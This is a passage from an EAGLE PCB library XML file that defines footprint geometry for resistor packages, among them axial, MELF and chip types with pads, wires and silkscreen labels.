shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.477\" y=\"2.6924\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.318\" y=\"-0.7112\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-7.0358\" y1=\"-0.4064\" x2=\"-6.477\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"6.477\" y1=\"-0.4064\" x2=\"7.0358\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"P0817/22\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0817, grid 22.5 mm</description>\n<wire x1=\"-10.414\" y1=\"0\" x2=\"-11.43\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.509\" y1=\"-3.429\" x2=\"-8.509\" y2=\"3.429\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.128\" y1=\"3.81\" x2=\"-7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"3.556\" x2=\"-7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-8.128\" y1=\"-3.81\" x2=\"-7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.985\" y1=\"-3.556\" x2=\"-7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"3.556\" x2=\"7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"3.556\" x2=\"-6.985\" y2=\"3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"-3.556\" x2=\"7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.985\" y1=\"-3.556\" x2=\"-6.985\" y2=\"-3.556\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.128\" y1=\"3.81\" x2=\"7.239\" y2=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.128\" y1=\"-3.81\" x2=\"7.239\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.509\" y1=\"-3.429\" x2=\"8.509\" y2=\"3.429\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"11.43\" y1=\"0\" x2=\"10.414\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-8.509\" y1=\"3.429\" x2=\"-8.128\" y2=\"3.81\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-8.509\" y1=\"-3.429\" x2=\"-8.128\" y2=\"-3.81\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"8.128\" y1=\"3.81\" x2=\"8.509\" y2=\"3.429\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"8.128\" y1=\"-3.81\" x2=\"8.509\" y2=\"-3.429\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"11.43\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-8.382\" y=\"4.2164\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-6.223\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"6.604\" y=\"-2.2606\" size=\"1.27\" layer=\"51\" ratio=\"10\" rot=\"R90\">0817</text>\n<rectangle x1=\"8.509\" y1=\"-0.4064\" x2=\"10.3124\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-10.3124\" y1=\"-0.4064\" x2=\"-8.509\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"P0817V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0817, grid 6.35 mm</description>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-5.08\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"3.81\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"1.27\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.016\" y=\"1.27\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.016\" y=\"-2.54\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"-6.858\" y=\"2.032\" size=\"1.016\" layer=\"21\" ratio=\"12\">0817</text>\n<rectangle x1=\"-3.81\" y1=\"-0.4064\" x2=\"0\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"V234/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype V234, grid 12.5 mm</description>\n<wire x1=\"-4.953\" y1=\"1.524\" x2=\"-4.699\" y2=\"1.778\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"1.778\" x2=\"4.953\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"-1.778\" x2=\"4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-4.953\" y1=\"-1.524\" x2=\"-4.699\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-4.699\" y1=\"1.778\" x2=\"4.699\" y2=\"1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"1.524\" x2=\"-4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-1.778\" x2=\"-4.699\" y2=\"-1.778\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"1.524\" x2=\"4.953\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.461\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.461\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-4.953\" y=\"2.159\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.81\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"4.953\" y1=\"-0.4064\" x2=\"5.4102\" y2=\"0.4064\" layer=\"21\"/>\n<rectangle x1=\"-5.4102\" y1=\"-0.4064\" x2=\"-4.953\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"V235/17\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype V235, grid 17.78 mm</description>\n<wire x1=\"-6.731\" y1=\"2.921\" x2=\"6.731\" y2=\"2.921\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.112\" y1=\"2.54\" x2=\"-7.112\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.731\" y1=\"-2.921\" x2=\"-6.731\" y2=\"-2.921\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"7.112\" y1=\"2.54\" x2=\"7.112\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"8.89\" y1=\"0\" x2=\"7.874\" y2=\"0\" width=\"1.016\" layer=\"51\"/>\n<wire x1=\"-7.874\" y1=\"0\" x2=\"-8.89\" y2=\"0\" width=\"1.016\" layer=\"51\"/>\n<wire x1=\"-7.112\" y1=\"-2.54\" x2=\"-6.731\" y2=\"-2.921\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.731\" y1=\"2.921\" x2=\"7.112\" y2=\"2.54\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.731\" y1=\"-2.921\" x2=\"7.112\" y2=\"-2.54\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-7.112\" y1=\"2.54\" x2=\"-6.731\" y2=\"2.921\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<pad name=\"1\" x=\"-8.89\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"8.89\" y=\"0\" drill=\"1.1938\" shape=\"octagon\"/>\n<text x=\"-6.858\" y=\"3.302\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-5.842\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"7.112\" y1=\"-0.508\" x2=\"7.747\" y2=\"0.508\" layer=\"21\"/>\n<rectangle x1=\"-7.747\" y1=\"-0.508\" x2=\"-7.112\" y2=\"0.508\" layer=\"21\"/>\n</package>\n<package name=\"V526-0\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype V526-0, grid 2.5 mm</description>\n<wire x1=\"-2.54\" y1=\"1.016\" x2=\"-2.286\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.286\" y1=\"1.27\" x2=\"2.54\" y2=\"1.016\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"2.286\" y1=\"-1.27\" x2=\"2.54\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-2.54\" y1=\"-1.016\" x2=\"-2.286\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.286\" y1=\"1.27\" x2=\"-2.286\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.54\" y1=\"-1.016\" x2=\"2.54\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.286\" y1=\"-1.27\" x2=\"2.286\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.54\" y1=\"1.016\" x2=\"-2.54\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.413\" y=\"1.651\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.413\" y=\"-2.794\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0102AX\">\n<description>&lt;b&gt;Mini MELF 0102 Axial&lt;/b&gt;</description>\n<circle x=\"0\" y=\"0\" radius=\"0.6\" width=\"0\" layer=\"51\"/>\n<circle x=\"0\" y=\"0\" radius=\"0.6\" width=\"0\" layer=\"52\"/>\n<smd name=\"1\" x=\"0\" y=\"0\" dx=\"1.9\" dy=\"1.9\" layer=\"1\" roundness=\"100\"/>\n<smd name=\"2\" x=\"0\" y=\"0\" dx=\"1.9\" dy=\"1.9\" layer=\"16\" roundness=\"100\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<hole x=\"0\" y=\"0\" drill=\"1.3\"/>\n</package>\n<package name=\"0922V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0922, grid 7.5 mm</description>\n<wire x1=\"2.54\" y1=\"0\" x2=\"1.397\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-3.81\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"4.572\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-5.08\" y=\"0\" radius=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-0.508\" y=\"1.6764\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.508\" y=\"-2.9972\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"-6.858\" y=\"2.54\" size=\"1.016\" layer=\"21\" ratio=\"12\">0922</text>\n<rectangle x1=\"-3.81\" y1=\"-0.4064\" x2=\"1.3208\" y2=\"0.4064\" layer=\"21\"/>\n</package>\n<package name=\"MINI_MELF-0102R\">\n<description>&lt;b&gt;CECC Size RC2211&lt;/b&gt; Reflow Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1\" y1=\"-0.5\" x2=\"1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"-0.5\" x2=\"1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"0.5\" x2=\"-1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1\" y1=\"0.5\" x2=\"-1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.9\" y=\"0\" dx=\"0.5\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.9\" y=\"0\" dx=\"0.5\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0102W\">\n<description>&lt;b&gt;CECC Size RC2211&lt;/b&gt; Wave Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1\" y1=\"-0.5\" x2=\"1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"-0.5\" x2=\"1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1\" y1=\"0.5\" x2=\"-1\" y2=\"0.5\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1\" y1=\"0.5\" x2=\"-1\" y2=\"-0.5\" width=\"0.2032\" layer=\"51\"/>\n<smd name=\"1\" x=\"-0.95\" y=\"0\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.95\" y=\"0\" dx=\"0.6\" dy=\"1.3\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0204R\">\n<description>&lt;b&gt;CECC Size RC3715&lt;/b&gt; Reflow Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"0.938\" y1=\"0.6\" x2=\"-0.938\" y2=\"0.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.938\" y1=\"-0.6\" x2=\"0.938\" y2=\"-0.6\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"0\" dx=\"0.8\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.5\" y=\"0\" dx=\"0.8\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0204W\">\n<description>&lt;b&gt;CECC Size RC3715&lt;/b&gt; Wave Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"-0.6\" x2=\"1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-1.7\" y1=\"0.6\" x2=\"-1.7\" y2=\"-0.6\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"0.684\" y1=\"0.6\" x2=\"-0.684\" y2=\"0.6\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-0.684\" y1=\"-0.6\" x2=\"0.684\" y2=\"-0.6\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-1.5\" y=\"0\" dx=\"1.2\" dy=\"1.6\" layer=\"1\"/>\n<smd name=\"2\" x=\"1.5\" y=\"0\" dx=\"1.2\" dy=\"1.6\" layer=\"1\"/>\n<text x=\"-1.27\" y=\"0.9525\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-2.2225\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0207R\">\n<description>&lt;b&gt;CECC Size RC6123&lt;/b&gt; Reflow Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-2.8\" y1=\"-1\" x2=\"2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"-1\" x2=\"2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"1\" x2=\"-2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.8\" y1=\"1\" x2=\"-2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.2125\" y1=\"1\" x2=\"-1.2125\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.2125\" y1=\"-1\" x2=\"1.2125\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.25\" y=\"0\" dx=\"1.6\" dy=\"2.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.25\" y=\"0\" dx=\"1.6\" dy=\"2.5\" layer=\"1\"/>\n<text x=\"-2.2225\" y=\"1.5875\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.2225\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"MINI_MELF-0207W\">\n<description>&lt;b&gt;CECC Size RC6123&lt;/b&gt; Wave Soldering&lt;p&gt;\nsource Beyschlag</description>\n<wire x1=\"-2.8\" y1=\"-1\" x2=\"2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"-1\" x2=\"2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"2.8\" y1=\"1\" x2=\"-2.8\" y2=\"1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"-2.8\" y1=\"1\" x2=\"-2.8\" y2=\"-1\" width=\"0.2032\" layer=\"51\"/>\n<wire x1=\"1.149\" y1=\"1\" x2=\"-1.149\" y2=\"1\" width=\"0.2032\" layer=\"21\"/>\n<wire x1=\"-1.149\" y1=\"-1\" x2=\"1.149\" y2=\"-1\" width=\"0.2032\" layer=\"21\"/>\n<smd name=\"1\" x=\"-2.6\" y=\"0\" dx=\"2.4\" dy=\"2.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"2.6\" y=\"0\" dx=\"2.4\" dy=\"2.5\" layer=\"1\"/>\n<text x=\"-2.54\" y=\"1.5875\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.54\" y=\"-2.54\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"RDH/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype RDH, grid 15 mm</description>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.858\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.096\" y1=\"3.048\" x2=\"-5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"2.794\" x2=\"-5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.096\" y1=\"-3.048\" x2=\"-5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.953\" y1=\"-2.794\" x2=\"-5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"2.794\" x2=\"5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"2.794\" x2=\"-4.953\" y2=\"2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"-2.794\" x2=\"5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.953\" y1=\"-2.794\" x2=\"-4.953\" y2=\"-2.794\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"3.048\" x2=\"5.207\" y2=\"3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.096\" y1=\"-3.048\" x2=\"5.207\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"-2.667\" x2=\"-6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.477\" y1=\"1.016\" x2=\"-6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"1.016\" x2=\"-6.477\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"-2.667\" x2=\"6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.477\" y1=\"1.016\" x2=\"6.477\" y2=\"-1.016\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.477\" y1=\"1.016\" x2=\"6.477\" y2=\"2.667\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"6.858\" y1=\"0\" x2=\"7.62\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.477\" y1=\"2.667\" x2=\"-6.096\" y2=\"3.048\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"6.096\" y1=\"3.048\" x2=\"6.477\" y2=\"2.667\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.477\" y1=\"-2.667\" x2=\"-6.096\" y2=\"-3.048\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"6.096\" y1=\"-3.048\" x2=\"6.477\" y2=\"-2.667\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-6.35\" y=\"3.4544\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-4.318\" y=\"-0.5842\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<text x=\"4.572\" y=\"-1.7272\" size=\"1.27\" layer=\"51\" ratio=\"10\" rot=\"R90\">RDH</text>\n<rectangle x1=\"-6.7564\" y1=\"-0.4064\" x2=\"-6.4516\" y2=\"0.4064\" layer=\"51\"/>\n<rectangle x1=\"6.4516\" y1=\"-0.4064\" x2=\"6.7564\" y2=\"0.4064\" layer=\"51\"/>\n</package>\n<package name=\"0204V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0204, grid 2.5 mm</description>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"1.27\" y2=\"0\" width=\"0.508\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"0\" x2=\"0.127\" y2=\"0\" width=\"0.508\" layer=\"21\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"0.889\" width=\"0.1524\" layer=\"51\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"0.635\" width=\"0.0508\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.1336\" y=\"1.1684\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.1336\" y=\"-2.3114\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"0309V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0309, grid 2.5 mm</description>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0.635\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"0\" x2=\"-1.27\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"0.762\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"0.254\" y=\"1.016\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"0.254\" y=\"-2.2098\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"0.254\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"-0.635\" y1=\"-0.3048\" x2=\"-0.3302\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"-0.3302\" y1=\"-0.3048\" x2=\"0.254\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"R0201\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt; chip&lt;p&gt;\nSource: http://www.vishay.com/docs/20008/dcrcw.pdf</description>\n<smd name=\"1\" x=\"-0.255\" y=\"0\" dx=\"0.28\" dy=\"0.43\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.255\" y=\"0\" dx=\"0.28\" dy=\"0.43\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.635\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-1.905\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.3\" y1=\"-0.15\" x2=\"-0.15\" y2=\"0.15\" layer=\"51\"/>\n<rectangle x1=\"0.15\" y1=\"-0.15\" x2=\"0.3\" y2=\"0.15\" layer=\"51\"/>\n<rectangle x1=\"-0.15\" y1=\"-0.15\" x2=\"0.15\" y2=\"0.15\" layer=\"21\"/>\n</package>\n<package name=\"VMTA55\">\n<description>&lt;b&gt;Bulk Metal® Foil Technology&lt;/b&gt;, Tubular Axial Lead Resistors, Meets or Exceeds MIL-R-39005 Requirements&lt;p&gt;\nMIL SIZE RNC55&lt;br&gt;\nSource: VISHAY .. vta56.pdf</description>\n<wire x1=\"-5.08\" y1=\"0\" x2=\"-4.26\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"3.3375\" y1=\"-1.45\" x2=\"3.3375\" y2=\"1.45\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.3375\" y1=\"1.45\" x2=\"-3.3625\" y2=\"1.45\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.3625\" y1=\"1.45\" x2=\"-3.3625\" y2=\"-1.45\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.3625\" y1=\"-1.45\" x2=\"3.3375\" y2=\"-1.45\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.235\" y1=\"0\" x2=\"5.08\" 